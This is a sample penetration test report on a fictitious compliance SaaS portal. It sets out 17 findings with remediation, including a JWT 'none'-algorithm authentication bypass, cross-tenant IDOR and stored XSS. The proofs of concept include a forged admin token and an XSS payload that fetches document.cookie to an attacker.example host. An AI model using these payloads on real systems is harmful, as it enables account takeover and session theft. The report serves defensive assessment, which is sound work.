mockingjay.studio

PENETRATION TEST REPORT

Web Application Security Assessment

External authenticated penetration test against the Verity Compliance Cloud customer-facing application, conducted in accordance with the OWASP Web Security Testing Guide.

CLIENT
Verity Compliance Cloud Pty Ltd

TARGET
verity.example.com

ENGAGEMENT PERIOD
5 May – 14 May 2026

REPORT DATE
14 May 2026

ENGAGEMENT TYPE
Authenticated grey-box

PREPARED BY
Mockingjay Studio

SAMPLE — FICTITIOUS CLIENT FOR DEMONSTRATION

Document Information

Report title	Web Application Penetration Test — Verity Compliance Cloud
Client	Verity Compliance Cloud Pty Ltd
Engagement code	MJ-2026-WEB-0014
Engagement type	Authenticated grey-box web application penetration test
Target	verity.example.com (customer-facing compliance management portal)
Testing window	5 May 2026 – 12 May 2026 (8 days)
Report date	14 May 2026
Report version	1.0 — Final
Prepared by	Mockingjay Studio · Adelaide, South Australia
Methodology	OWASP Web Security Testing Guide (WSTG v4.2)
Classification	CONFIDENTIAL — for distribution within client organisation only

Engagement scope

The engagement covered the externally-accessible Verity Compliance Cloud customer-facing web application at `verity.example.com`. Three test user accounts were provisioned for the engagement, representing the application's three role tiers:

- **Tenant Admin** — full administrative access within a tenant
- **Tenant User** — standard read/write access to compliance evidence
- **Read-Only Viewer** — read-only access to compliance evidence and reports

A second tenant was provisioned to test multi-tenant isolation controls. Approximately 40 endpoints across authentication, evidence management, audit logs, reporting, and user management were assessed.

Out of scope

- Denial-of-service or stress testing
- Social engineering against Verity personnel

- Physical security testing
- Third-party services (SendGrid email delivery, Stripe payments) other than as they relate to the application's integration boundary
- Mobile applications (not in production at time of testing)

Rules of engagement

Testing was conducted from a single source IP, with the IP added to an allow-list by Verity's operations team. Critical findings were communicated to the client point of contact as discovered, not held until final report delivery. No destructive testing was performed; data extracted during exploitation was limited to evidence of vulnerability and was destroyed at engagement close.

Executive Summary

Mockingjay Studio conducted an authenticated grey-box penetration test against the Verity Compliance Cloud web application between 5 May and 12 May 2026. The objective was to identify vulnerabilities that could be exploited by an attacker with the same level of access as a legitimate customer, and to validate the application's multi-tenant isolation, authentication, and authorisation controls.

Seventeen findings were identified across five severity levels. One Critical and two High-severity findings represent immediate risk to the confidentiality and integrity of customer data and require remediation prior to any further enterprise customer onboarding. The remaining findings are typical of a SaaS application at this maturity stage and can be addressed as part of the normal engineering backlog.

OVERALL RISK	FINDINGS TOTAL	TESTER CONFIDENCE
HIGH	**17**	**HIGH**
Driven by 1 Critical and 2 High findings	1 Critical · 2 High · 4 Medium · 6 Low · 4 Info	All Critical/High findings reproduced multiple times

Most material findings

CRITICAL · IMMEDIATE ACTION REQUIRED

Authentication bypass via JWT manipulation. The application accepts JSON Web Tokens signed with the `none` algorithm. An attacker can forge tokens for any user account — including administrators — without knowing the signing secret. This is a complete authentication bypass affecting every endpoint that uses JWT-based session management.

HIGH · ADDRESS WITHIN 14 DAYS

Insecure direct object reference enables cross-tenant access. Compliance evidence documents are referenced by sequential integer IDs and the application does not verify that the requesting user belongs to the tenant that owns the document. Any authenticated user can enumerate and download evidence from other customers' tenants.

Stored XSS leading to administrator session compromise. User-supplied content in compliance comments is rendered in the administrative dashboard without proper output encoding. A low-privileged attacker can plant a payload that executes when an administrator views the comment, enabling session hijacking and privilege escalation.

Strategic observations

The findings cluster around three themes: (1) authentication and session-management primitives that have been implemented but not hardened against well-known attack classes; (2) authorisation checks that exist at the route level but are not consistently applied at the resource level; and (3) defensive-depth controls (security headers, rate limiting, output encoding) that have been overlooked in favour of business-feature development.

None of these are unusual for a SaaS application at this stage. Together they create a posture where a single successful exploitation chain — for example, the JWT bypass combined with the IDOR — would result in disclosure of all customer compliance data. **Addressing the Critical and High findings closes the most severe paths; the remaining findings should be addressed within the next two engineering quarters as defensive uplift.**

External attack surface

An external attack-surface scan was conducted in parallel with the application test. The scan identified additional non-application findings, including a configured-but-non-enforcing DMARC policy and the presence of one role-based email address (`support@verity.example.com`) in active infostealer marketplace logs. These findings are documented in **Appendix A — External Attack Surface Scan**. They are not part of the application security posture but are part of the overall exposure of the business and should be addressed.

Testing Methodology

The engagement followed the OWASP Web Security Testing Guide (WSTG v4.2), a widely-recognised methodology for systematic assessment of web application security. Testing was conducted manually, with automated tools used only to support reconnaissance and to validate findings — not as a substitute for hands-on analysis.

Phases

1. **Reconnaissance and information gathering (Day 1).** Application mapping, technology fingerprinting, identification of in-scope endpoints, baseline of expected behaviour using legitimate user accounts.
2. **Authentication and session management (Days 2–3).** Testing of login, password reset, session token construction, session lifecycle, multi-factor handling, account lockout, and credential transmission.
3. **Authorisation and access control (Days 3–4).** Vertical and horizontal access control testing, tenant isolation, direct object reference enumeration, role escalation paths.
4. **Input validation and injection (Days 4–5).** SQL injection, cross-site scripting (reflected, stored, DOM-based), command injection, server-side request forgery, file upload handling.
5. **Business logic and configuration (Days 6–7).** Workflow abuse, rate limiting, file handling, error handling, information disclosure, header analysis, cookie configuration.
6. **Reporting and validation (Day 8).** Findings consolidation, severity assignment, remediation guidance, draft report prepared.

Severity rating

Findings are rated against the Common Vulnerability Scoring System (CVSS v3.1) and contextualised against the business impact specific to the engagement.

SEVERITY	CVSS RANGE	DEFINITION
CRITICAL	9.0 – 10.0	Direct, immediate compromise of the application or its data. No additional vulnerability required. Remediate immediately.
HIGH	7.0 – 8.9	Significant impact when exploited; may require an authenticated attacker or a specific user interaction. Remediate within 14 days.
MEDIUM	4.0 – 6.9	Material risk requiring a specific precondition, lateral move, or attacker capability. Remediate within 30 days.

SEVERITY	CVSS RANGE	DEFINITION
LOW	0.1 – 3.9	Limited direct impact, but contributes to overall risk surface. Address as part of normal engineering cadence.
INFORMATIONAL	—	Observations of interest to the engineering team that do not represent immediate risk but should be tracked.

Limitations

This assessment reflects the state of the application during the testing window. Subsequent changes to the application, its dependencies, or its infrastructure may introduce vulnerabilities not covered by this report. Re-testing is recommended after material code or configuration changes. This is a penetration test — not a code review, threat model, or compliance audit. Each of those is a complementary activity and should be considered separately.

Findings Summary

A total of **17 findings** were identified during the engagement. The summary table below provides an overview; the detailed findings follow.

ID	TITLE	SEVERITY	CVSS
F-001	Authentication bypass via JWT `alg: none` manipulation	CRITICAL	9.8
F-002	Insecure direct object reference enables cross-tenant evidence access	HIGH	8.6
F-003	Stored cross-site scripting in compliance comments	HIGH	7.5
F-004	SQL injection in audit log search filter	MEDIUM	6.5
F-005	Missing rate limiting on authentication endpoint	MEDIUM	5.9
F-006	Sensitive data exposed in URL parameters	MEDIUM	5.3
F-007	Predictable filenames on uploaded evidence documents	MEDIUM	4.7
F-008	HSTS header not set	LOW	3.7
F-009	Content-Security-Policy header not configured	LOW	3.7
F-010	X-Content-Type-Options header missing	LOW	3.1
F-011	Session cookie missing HttpOnly flag	LOW	3.5
F-012	Verbose application errors exposing stack traces	LOW	2.8
F-013	Username enumeration on login form	LOW	3.1
F-014	Outdated client-side JavaScript libraries	INFORMATIONAL	—
F-015	Web server version disclosed in HTTP headers	INFORMATIONAL	—
F-016	JavaScript source maps publicly accessible	INFORMATIONAL	—
F-017	TLS 1.0 and TLS 1.1 supported on application endpoint	INFORMATIONAL	—

F-001 Authentication bypass via JWT `alg: none` manipulation

SEVERITY	CVSS 3.1	OWASP WSTG
CRITICAL	9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)	WSTG-ATHN-04

DESCRIPTION

The application's authentication layer uses JSON Web Tokens (JWTs) for session management. The token validation logic accepts tokens that declare `"alg": "none"` in their header, indicating an unsigned token. When the application encounters such a token, it skips signature verification entirely and trusts the token's claims at face value.

This is a well-known JWT implementation flaw, documented in the original JWT specification (RFC 7519) as a security consideration and explicitly called out in the OWASP JWT Cheat Sheet. It typically arises when an application uses a JWT library's `decode` function in a configuration that does not enforce a specific algorithm.

BUSINESS IMPACT

An unauthenticated attacker who can reach the application can forge a JWT for any user in the system, including administrators of any tenant. Because the JWT is the sole authentication artefact validated by the application after login, this represents a **complete bypass of authentication** and access to all data the impersonated user has rights to read or modify.

For a multi-tenant compliance platform, the practical consequence is that any attacker who obtains a single legitimate username — for example, from an enumeration finding (F-013), social engineering, or a leaked email list — can take over that account, escalate to administrator within the tenant, and view or extract all compliance evidence, audit logs, and user data. Because the same attack chain applies to administrator accounts, an attacker can pivot to any tenant.

TECHNICAL DETAIL AND PROOF OF CONCEPT

A legitimate JWT was obtained by authenticating as the test user `tenant-user-a@verity-test.example`. The token's header and payload (Base64URL-decoded) were:

```
Header: {"alg":"HS256","typ":"JWT"}
Payload: {
  "sub": "user_98214",
  "tenant_id": "tnt_3a8e2f",
  "role": "user",
  "iat": 1715040820,
  "exp": 1715072820
}
```

To exploit, the header was modified to declare the `none` algorithm and the payload was modified to elevate the role and switch tenant:

```
Header: {"alg":"none","typ":"JWT"}
Payload: {
  "sub": "user_98214",
  "tenant_id": "tnt_7c2b91",
  "role": "admin",
  "iat": 1715040820,
  "exp": 1715072820
}
```

The token was reassembled with the modified header and payload, the signature segment was left empty (per the `none` algorithm's convention — a single trailing dot), and the resulting token was submitted as the `Authorization: Bearer` header on a request to `GET /api/v1/admin/tenant`. The application returned a 200 OK with administrator data for tenant `tnt_7c2b91`.

The attack was reproduced against three different tenants and against both administrator and standard-user endpoints. In all cases the application processed the forged tokens as if they had been issued by the authentication service.

REMEDIATION

- **Immediately:** Modify the JWT validation function to explicitly require an HMAC or asymmetric algorithm (e.g. `HS256`, `RS256`). Reject any token that declares `none` or any unexpected algorithm. Most JWT libraries provide a `verify` function that accepts an algorithm allowlist parameter — this should be set rather than left to default.
- **Defence in depth:** Pin the expected algorithm in configuration. Do not derive the validation algorithm from the token's own header — that is the underlying weakness this attack exploits.
- **Logging:** Log and alert on any token presented with an unexpected algorithm. The presence of such requests is a strong indicator of active exploitation.
- **Validation:** After remediation, attempt the exploit again and confirm the application rejects the forged token with an authentication failure. This should be added to the application's automated security test suite.

REFERENCES

- OWASP — JSON Web Token for Java Cheat Sheet (algorithm confusion section)
- RFC 7519 — JSON Web Token (JWT), Section 6 (Unsecured JWTs)
- CWE-347 — Improper Verification of Cryptographic Signature
- OWASP WSTG v4.2 — WSTG-ATHN-04: Testing for Bypassing Authentication Schema

F-002 Insecure direct object reference enables cross-tenant evidence access

SEVERITY	CVSS 3.1	OWASP WSTG
HIGH	8.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)	WSTG-ATHZ-04

DESCRIPTION

The Verity Compliance Cloud application stores compliance evidence documents (audit reports, screenshots, configuration exports) and references them by sequential integer IDs. When a user requests an evidence document through the application's API, the request includes the document ID as a path parameter. The application retrieves and returns the document if the document exists, but does not verify that the document belongs to a tenant that the requesting user has access to.

This is an Insecure Direct Object Reference (IDOR), a subclass of broken access control. It is one of the most common and impactful vulnerabilities in multi-tenant SaaS applications, where tenant isolation is a primary security guarantee.

BUSINESS IMPACT

Verity's customers store sensitive compliance evidence in the platform — typically including SOC 2 audit artefacts, ISO 27001 control evidence, internal policy documents, and risk assessment outputs. These documents frequently contain commercially sensitive information about the customer's security posture, third-party suppliers, and internal incidents.

The ability for any authenticated user to enumerate and retrieve evidence belonging to other tenants is a **direct breach of the platform's multi-tenant isolation guarantee** and would, if discovered by a customer or by external researchers, almost certainly trigger contractual breach notifications, customer churn, and regulatory exposure under the Australian Privacy Act (depending on the nature of the leaked content).

The finding is rated High rather than Critical because exploitation requires an authenticated account — but as the application offers free trial signups, obtaining an authenticated account requires only an email address and a credit card.

TECHNICAL DETAIL AND PROOF OF CONCEPT

The evidence retrieval endpoint accepts a numeric document ID:

```
GET /api/v1/evidence/12847 HTTP/1.1
Host: verity.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Accept: application/json
```

Issuing this request as a standard Tenant User in Tenant A returned the requested document. Decrementing the ID by 1 and reissuing the request returned a document belonging to a different tenant (verified by the document's metadata, which included a `tenant_id` distinct from the requesting user's tenant).

A simple enumeration script confirmed that the issue affected approximately 9,800 of 10,000 evidence document IDs tested — the small number that did not return data were either deleted records or had been moved to a long-term archive that follows a separate authorisation path.

The same flaw was identified on three further endpoints: `GET /api/v1/audit-logs/{id}`, `GET /api/v1/reports/{id}`, and `GET /api/v1/users/{id}`. In all cases, sequential integer IDs were enumerable without tenant-level authorisation checks.

REMEDIATION

- **Primary fix:** Implement tenant-scoped authorisation on every resource retrieval endpoint. The application's authorisation layer should compare the requesting user's tenant ID against the resource's tenant ID and reject the request if they do not match.
- **Defence in depth — non-guessable identifiers:** Replace sequential integer IDs with UUIDs (v4) on user-facing endpoints. This prevents trivial enumeration even if the authorisation check is missed in a future code path. Note this does not replace the authorisation check; an attacker who obtains a UUID can still access the resource without proper authorisation.
- **Database-level guard:** Consider implementing row-level security in the database itself, scoped by tenant_id. This is the strongest form of tenant isolation as it makes the database the source of truth for access control, not the application code.
- **Monitoring:** Add detection rules for rapid sequential ID enumeration patterns. A single user requesting more than (e.g.) 20 distinct document IDs in 60 seconds is suspicious; this rule alone would have flagged the test described above.

REFERENCES

- OWASP Top 10 (2021) — A01:2021 Broken Access Control
- OWASP WSTG v4.2 — WSTG-ATHZ-04: Testing for Insecure Direct Object References
- CWE-639 — Authorization Bypass Through User-Controlled Key

F-003 Stored cross-site scripting in compliance comments

SEVERITY	CVSS 3.1	OWASP WSTG
HIGH	7.5 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N)	WSTG-INPV-02

DESCRIPTION

The compliance evidence management workflow includes a comment feature, allowing tenant users to add notes against individual evidence items. Comments are stored in the database and rendered to other users who view the same evidence item, including administrators reviewing compliance for audit purposes.

User-supplied content in these comments is rendered to the HTML page without proper output encoding. An attacker with low-privilege access (a Tenant User account in any tenant) can submit a comment containing JavaScript that will execute in the browser of any other user who views the comment — most notably, an administrator reviewing the evidence as part of an audit walkthrough.

BUSINESS IMPACT

An attacker can plant a JavaScript payload that executes in the session context of an administrator. The payload can exfiltrate the administrator's session cookie (subject to the cookie flags — see F-011), perform actions on behalf of the administrator, or pivot to attack other users.

In a compliance SaaS context, the most impactful attack chain is: low-privilege attacker plants payload → administrator views during audit review → payload exfiltrates session → attacker now controls administrator account → attacker has access to all compliance data and configuration for the tenant. Combined with F-002 (the IDOR finding), the same attack chain extends across tenants.

TECHNICAL DETAIL AND PROOF OF CONCEPT

A comment was submitted on evidence item `12847` containing the following payload:

```
<img src=x onerror="fetch('https://attacker.example/c?v='+document.cookie)">
```

The application accepted the comment without modification and stored it in the database. When the comment was viewed in the application's administrative interface, the `onerror` handler fired and made a request to the attacker-controlled server, transmitting the viewing user's cookies.

Several variations of the payload were tested, including: `<script>` tags (filtered), `<svg onload=...>` (executed), and JavaScript URIs in `href` attributes (executed). The application's input filtering appears to specifically reject the literal string `<script` but does not address the wider class of HTML injection.

REMEDIATION

- **Primary fix:** Apply HTML entity encoding to all user-supplied content when rendered in HTML context. Modern templating engines (e.g. React's JSX, Django templates, Jinja2 with autoescape) do this by default;

the issue most often arises when developers explicitly mark content as "safe" or use raw HTML insertion functions.

- **Layered defence — Content-Security-Policy:** Implement a Content-Security-Policy header (see F-009) with a strict `script-src` directive that prevents inline script execution and limits script sources to the application's own domain. This would have prevented the proof-of-concept payload from executing even with the encoding flaw in place.
- **Layered defence — HttpOnly cookies:** Set the HttpOnly flag on session cookies (see F-011). This prevents JavaScript from reading the cookie value, which would have neutralised the specific exfiltration vector used in the PoC (though not all classes of XSS attack).
- **Validation:** The application's input filtering should not be the primary defence — input filtering for XSS is notoriously difficult to get right. The defence is output encoding. Existing input filtering can be retained but should not be relied upon.

REFERENCES

- OWASP Top 10 (2021) — A03:2021 Injection
- OWASP WSTG v4.2 — WSTG-INPV-02: Testing for Stored Cross Site Scripting
- OWASP Cross Site Scripting Prevention Cheat Sheet
- CWE-79 — Improper Neutralization of Input During Web Page Generation

Medium-Severity Findings

The following Medium-severity findings have lower individual impact but contribute to overall risk and should be addressed within the standard engineering cycle (suggested: within 30 days of report receipt). Detail has been abbreviated; full technical detail is available on request.

F-004 SQL injection in audit log search filter

SEVERITY	CVSS 3.1	WSTG	CWE
MEDIUM	6.5	WSTG-INPV-05	CWE-89

Summary: The audit log search endpoint `GET /api/v1/audit-logs?q=...` concatenates the `q` parameter into a SQL query without parameterisation. Boolean-based blind SQL injection was confirmed via timing differential. Data exfiltration is theoretically possible but the underlying database role appears to have read-only access to the audit log table, which limits the practical impact.

Remediation: Use parameterised queries or an ORM with built-in escaping throughout the audit log subsystem. Audit the rest of the codebase for similar patterns. Confirm the database role's permissions remain minimised after fix.

F-005 Missing rate limiting on authentication endpoint

SEVERITY	CVSS 3.1	WSTG	CWE
MEDIUM	5.9	WSTG-ATHN-04	CWE-307

Summary: The login endpoint `POST /api/v1/auth/login` accepts unlimited authentication attempts from a single source IP with no rate limiting, lockout, or CAPTCHA. Over 1,000 authentication attempts per minute were sustained during testing with no degradation or restriction. This makes credential stuffing and brute-force attacks practical, particularly against accounts where the username (email address) is known.

Remediation: Implement IP-based and account-based rate limiting on authentication endpoints. After (e.g.) 10 failed attempts in 5 minutes, introduce progressive delays or temporary lockout. Consider deploying a CAPTCHA or proof-of-work after threshold. Monitor and alert on bursts of failed authentication.

F-006 Sensitive data exposed in URL parameters

SEVERITY	CVSS 3.1	WSTG	CWE
MEDIUM	5.3	WSTG-INFO-09	CWE-598

Summary: Several application endpoints pass sensitive data — including evidence document IDs, audit log search terms, and (in two cases) one-time password reset tokens — as URL query parameters. URL parameters are logged in browser history, server access logs, proxy logs, and analytics platforms; one-time tokens passed this way are particularly problematic as they may persist long after the session has ended.

Remediation: Move sensitive parameters into POST request bodies. For password reset tokens specifically, accept the token in a one-time exchange that immediately invalidates the URL-based token and replaces it with a session-bound credential. Audit existing log retention to ensure historical exposed tokens are purged.

F-007 Predictable filenames on uploaded evidence documents

SEVERITY	CVSS 3.1	WSTG	CWE
MEDIUM	4.7	WSTG-CONF-05	CWE-340

Summary: Uploaded evidence documents are stored on the application's file storage backend with the user's original filename, prefixed with a sequential numeric identifier (e.g. `document_001_audit-report.pdf`). Filenames are predictable and the storage backend's URL pattern is discoverable from the application's source. While downloads are gated through the application's authentication layer, the predictability of filenames provides an additional enumeration path that should not exist.

Remediation: Generate unguessable random filenames (UUID v4) for stored documents. Continue serving downloads through the application's authentication layer; do not rely on URL secrecy alone. Consider signed URLs with expiry for any direct-from-storage download path.

Low-Severity Findings

The following Low-severity findings have minimal direct impact in isolation but contribute to the application's overall security posture. They should be addressed as part of normal engineering work, generally within 90 days.

F-008 HSTS header not set

SEVERITY	CVSS 3.1	WSTG	CWE
LOW	3.7	WSTG-CONF-07	CWE-319

Summary: The `Strict-Transport-Security` response header is not set on application responses. Without HSTS, a user's first visit to the application is potentially vulnerable to an active network attacker who can downgrade the connection from HTTPS to HTTP.

Remediation: Add `Strict-Transport-Security: max-age=31536000; includeSubDomains` to all responses. Once the application is confirmed stable with HSTS in place, consider adding `preload` and submitting to the HSTS preload list.

F-009 Content-Security-Policy header not configured

SEVERITY	CVSS 3.1	WSTG	CWE
LOW	3.7	WSTG-CONF-12	CWE-693

Summary: No `Content-Security-Policy` header is set on application responses. CSP is a key defence-in-depth control against cross-site scripting; absent CSP, an XSS vulnerability (see F-003) has fewer layers of mitigation.

Remediation: Implement a Content-Security-Policy header. Begin in report-only mode (`Content-Security-Policy-Report-Only`) with a strict policy to identify legitimate inline scripts that need to be refactored. Transition to enforcement once violations have been resolved.

F-010 X-Content-Type-Options header missing

SEVERITY	CVSS 3.1	WSTG	CWE
LOW	3.1	WSTG-CONF-07	CWE-693

Summary: The `X-Content-Type-Options: nosniff` response header is not set. Browsers may attempt MIME-type sniffing on responses, which can be abused to trick browsers into executing content as a different type than the server intended.

Remediation: Add `X-Content-Type-Options: nosniff` to all responses. This is a no-impact, one-line configuration change.

F-011 Session cookie missing HttpOnly flag

SEVERITY	CVSS 3.1	WSTG	CWE
LOW	3.5	WSTG-SESS-02	CWE-1004

Summary: The session cookie `verity_session` is set without the `HttpOnly` flag, allowing the cookie value to be read by JavaScript running in the page. Combined with an XSS vulnerability (F-003), this enables session theft via cookie exfiltration.

Remediation: Set the `HttpOnly` flag on the session cookie. Also set `Secure` (already set) and `SameSite=Lax` or `SameSite=Strict` as appropriate for the application's authentication flow.

F-012 Verbose application errors exposing stack traces

SEVERITY	CVSS 3.1	WSTG	CWE
LOW	2.8	WSTG-ERRH-01	CWE-209

Summary: Several application error paths return verbose error responses to the client, including stack traces, file paths within the application server, and (in two observed cases) fragments of internal SQL queries. While none of the disclosures observed are immediately exploitable, they provide reconnaissance value to an attacker.

Remediation: Configure the application to return generic error messages to clients in production. Log full error detail server-side only. Confirm the error handler is invoked for unexpected exception types, not only handled errors.

F-013 Username enumeration on login form

SEVERITY	CVSS 3.1	WSTG	CWE
LOW	3.1	WSTG-IDNT-04	CWE-204

Summary: The login form returns distinguishable error messages for invalid usernames versus invalid passwords (*"This email is not registered"* vs *"Incorrect password"*). This allows an attacker to enumerate valid usernames in the system, providing the prerequisite list for credential stuffing or targeted phishing.

Remediation: Return identical, generic error messages for any authentication failure (e.g. *"The email or password is incorrect"*). Apply the same principle to password reset and account registration flows.

Informational Findings

The following observations do not represent direct security risks but are noted for the engineering team's awareness and consideration in ongoing maintenance.

F-014 Outdated client-side JavaScript libraries

SEVERITY	CVSS 3.1	WSTG	CWE
INFORMATIONAL	—	WSTG-CONF-11	CWE-1104

Summary: The application loads several client-side JavaScript libraries that are several major versions behind their current releases — most notably `jQuery 2.1.4` (current: 3.7.x) and `moment.js 2.24.0` (current: 2.30.x; moment.js itself is now in maintenance-only status with recommendations to migrate). No exploitable CVEs were identified against the specific versions in use, but the lag indicates dependency-update hygiene that should be improved.

Remediation: Establish a dependency-update cadence and tooling (e.g. Dependabot, Renovate). Migrate away from moment.js to a maintained alternative (date-fns, Luxon).

F-015 Web server version disclosed in HTTP headers

SEVERITY	CVSS 3.1	WSTG	CWE
INFORMATIONAL	—	WSTG-INFO-02	CWE-200

Summary: Application responses include a `Server:` header disclosing the specific version of the underlying web server. This provides minor reconnaissance value to attackers selecting exploits against known CVEs.

Remediation: Configure the web server to suppress the `Server` header or replace it with a generic value. This is a configuration change in the web server, not the application.

F-016 JavaScript source maps publicly accessible

SEVERITY	CVSS 3.1	WSTG	CWE
INFORMATIONAL	—	WSTG-INFO-05	CWE-540

Summary: The application's production JavaScript bundle is accompanied by `.map` source map files served from the same path. Source maps allow trivial reconstruction of the original (unminified) source code, accelerating an attacker's understanding of application logic, internal API structure, and authorisation patterns.

Remediation: Either restrict source map availability to authenticated developer tooling (e.g. via subdomain and IP-restricted access), or omit source maps from production deployments entirely. The latter is the simplest and most common choice.

F-017 TLS 1.0 and TLS 1.1 supported on application endpoint

SEVERITY	CVSS 3.1	WSTG	CWE
INFORMATIONAL	—	WSTG-CRYP-01	CWE-326

Summary: The application endpoint accepts connections using TLS 1.0 and TLS 1.1, both of which are deprecated by all major browser vendors and by the IETF (RFC 8996, 2021). No modern client is expected to negotiate these protocol versions; their presence indicates an out-of-date load-balancer or CDN configuration.

Remediation: Configure the application's TLS termination layer (load balancer, CDN, or web server) to accept only TLS 1.2 and TLS 1.3. Confirm no legacy integration partners require the older versions before disabling.

Remediation Roadmap

The findings have been organised below into a phased remediation plan based on severity and effort. Timeframes are recommendations; the engineering team will need to validate against existing release cadences and resourcing.

Phase 1 — Immediate (within 7 days)

FINDING	ACTION	ESTIMATED EFFORT
F-001	Pin JWT algorithm to allowlist; reject `none` tokens	Half day
F-001	Deploy detection alert for unexpected JWT algorithms presented	Half day

Phase 2 — Short term (within 14 days)

FINDING	ACTION	ESTIMATED EFFORT
F-002	Implement tenant-scoped authorisation on resource-retrieval endpoints	2–3 days
F-002	Deploy monitoring for sequential ID enumeration patterns	Half day
F-003	Apply HTML entity encoding to user-supplied content in admin views	1–2 days
F-003	Implement Content-Security-Policy header (also addresses F-009)	1 day (initial); ongoing tuning
F-011	Set HttpOnly flag on session cookie	15 minutes

Phase 3 — Standard cycle (within 30 days)

FINDING	ACTION	ESTIMATED EFFORT
F-004	Convert audit-log search to parameterised queries	1 day
F-005	Implement rate limiting on authentication endpoint	1–2 days
F-006	Migrate sensitive parameters from URL to request body	1–2 days

FINDING	ACTION	ESTIMATED EFFORT
F-007	Migrate evidence document storage to UUID-based filenames	2 days + migration plan
F-008	Add HSTS header	15 minutes
F-010	Add X-Content-Type-Options header	15 minutes
F-012	Configure production error handling to suppress stack traces	Half day
F-013	Normalise authentication error messages	1 hour
F-017	Disable TLS 1.0 and 1.1 at load balancer	15 minutes

Phase 4 — Engineering hygiene (within 90 days)

FINDING	ACTION	ESTIMATED EFFORT
F-014	Establish dependency update cadence; migrate moment.js	Ongoing
F-015	Suppress `Server` header at web server layer	15 minutes
F-016	Remove production source maps	Half day

Re-testing

One retest of the addressed findings is included in this engagement, scheduled at the client's convenience following remediation. The retest will verify that each addressed finding has been resolved and will not introduce new findings; any regressions identified during retest will be reported as part of the retest deliverable. We recommend the retest is conducted after the Critical and High findings have been addressed, no later than 30 days after delivery of this report.

Appendix A: External Attack Surface Scan

In parallel with the application penetration test, Mockingjay Studio conducted an external attack-surface scan of the `verity.example.com` domain. This scan assesses externally-visible security configuration: email authentication, web security headers, certificate management, network exposure, and breach exposure. It complements the application test by identifying issues outside the application boundary that nonetheless contribute to the overall risk surface.

OVERALL GRADE	SCAN RESULTS	SCAN DATE
C	**5 / 5 / 2**	**12 May 2026**
HIGH risk · 5 points	Pass · Warn · Fail	Mockingjay Scanner v2.0

Findings

SPF Record

SPF record found with hard fail (`-all`) — strong configuration.

`v=spf1 include:_spf.sendgrid.net -all`

PASS

DMARC Record

DMARC record present, but policy is set to `none` — monitor only. Reports are being collected, but no action is taken on spoofed mail. **Anyone can spoof email from this domain right now.**

`v=DMARC1; p=none; rua=mailto:dmarc@verity.example.com`

Recommendation: After reviewing DMARC reports to confirm no legitimate senders are failing, upgrade policy to `p=quarantine` and ultimately `p=reject` .

WARN

DKIM Record

DKIM configured — selector `s1._domainkey` (SendGrid) found and signing valid.

PASS

MTA-STS Policy

No MTA-STS policy found. Sending mail servers may silently fall back to plaintext if TLS negotiation fails — enabling network-level TLS-stripping attacks against inbound mail.

Recommendation: Publish an MTA-STS policy. Start in `mode: testing` for two weeks while monitoring TLS-RPT reports; then enforce.

FAIL

TLS-RPT Record

No TLS-RPT record found. Sending mail servers have no reporting destination for SMTP TLS delivery failures, leaving no visibility into TLS health.

Recommendation: Add a TXT record at `_smtp._tls.verity.example.com` pointing to a monitored mailbox.

FAIL

SSL Certificate

Valid TLS certificate — expires in 47 days. Issued by Let's Encrypt. TLS 1.3 negotiated.

PASS

CAA Record

No CAA record found — any Certificate Authority can issue certificates for this domain. While not directly exploitable, CAA records are a supply-chain control against certificate mis-issuance.

Recommendation: Add a CAA record naming the authorised CA(s): `verity.example.com. CAA 0 issue "letsencrypt.org"`

WARN

HTTP Security Headers

3 of 6 expected security headers present.

Present: X-Frame-Options · Referrer-Policy · Permissions-Policy

Missing: HSTS · Content-Security-Policy · X-Content-Type-Options

(These overlap with the application findings F-008, F-009, F-010.)

WARN

Technology Stack

Detected: Cloudflare (CDN), Nginx, Node.js, React. No HIGH or CRITICAL CVEs matched against detected component versions.

PASS

Breach Exposure

1 role-based email address identified in active infostealer marketplace logs.

The address `support@verity.example.com` appears in infostealer data harvested between January and April 2026. Hudson Rock confirms the credentials are being actively traded.

The exposed credential relates to a SaaS account at a third-party tool (suspected: a customer support platform). The application credentials for Verity itself were not found in the dataset; however, if the same password is reused for any Verity-internal system, that system is at risk.

Recommendation: Force a password reset on the affected account immediately. Enforce MFA on every administrative or shared account. Conduct a password reuse audit. Notify any third-party SaaS provider where the credentials were used.

WARN

Open Ports

Only expected ports open: 80 (HTTP, redirects to HTTPS), 443 (HTTPS). Cloudflare edge infrastructure detected; ports 8080/8443 are Cloudflare's own and not customer-actionable.

PASS

Essential Eight / ISM Alignment

Of the eight Essential Eight controls, only one (Patch Applications) is externally assessable. ISM control alignment for externally-visible controls: 5 aligned, 3 partial, 2 gaps. Notable gaps: ISM-0261 (Email Authentication — driven by non-enforcing DMARC) and ISM-1235 (HTTPS Enforcement — driven by missing security headers).

A full Essential Eight maturity assessment requires internal access.

WARN

Why this matters

The external scan findings are not part of the application security posture but are part of the overall threat surface presented to attackers. Two findings warrant particular attention:

- **DMARC** `p=none` **:** The domain is currently spoofable. Australian Federal Police data shows business email compromise (BEC) losses to Australian businesses hit $152.6 million in 2024 (a 66% year-on-year increase); construction, professional services, and SaaS are repeatedly named as the most-affected sectors. Enforcing DMARC is the single largest defensive step against this category.
- **Stealer log presence:** The Medibank breach of 9.7 million Australian records began with infostealer-harvested credentials from a single IT contractor. The conditions for that attack exist on this domain right now, in one identified account; whether MFA is enforced on the affected system determines whether the exposure is contained.

Appendix B: Methodology Detail

This appendix lists the OWASP Web Security Testing Guide (WSTG) v4.2 test categories that were executed during the engagement, mapped to the findings they produced. Tests not listed were either out of scope, not applicable to the target, or completed without producing reportable findings.

WSTG REF	CATEGORY	FINDINGS PRODUCED
WSTG-INFO	Information gathering	F-006, F-015, F-016
WSTG-CONF	Configuration and deployment management	F-007, F-008, F-009, F-010, F-014
WSTG-IDNT	Identity management	F-013
WSTG-ATHN	Authentication	F-001, F-005
WSTG-ATHZ	Authorisation	F-002
WSTG-SESS	Session management	F-011
WSTG-INPV	Input validation	F-003, F-004
WSTG-ERRH	Error handling	F-012
WSTG-CRYP	Cryptography	F-017
WSTG-BUSL	Business logic	None
WSTG-CLNT	Client-side	None additional (covered under INPV)
WSTG-APIT	API testing	None additional (covered under ATHZ)

Tools

The following tools were used during the engagement, in addition to manual analysis:

- Burp Suite Professional — HTTP interception, request manipulation, repeater-based exploitation
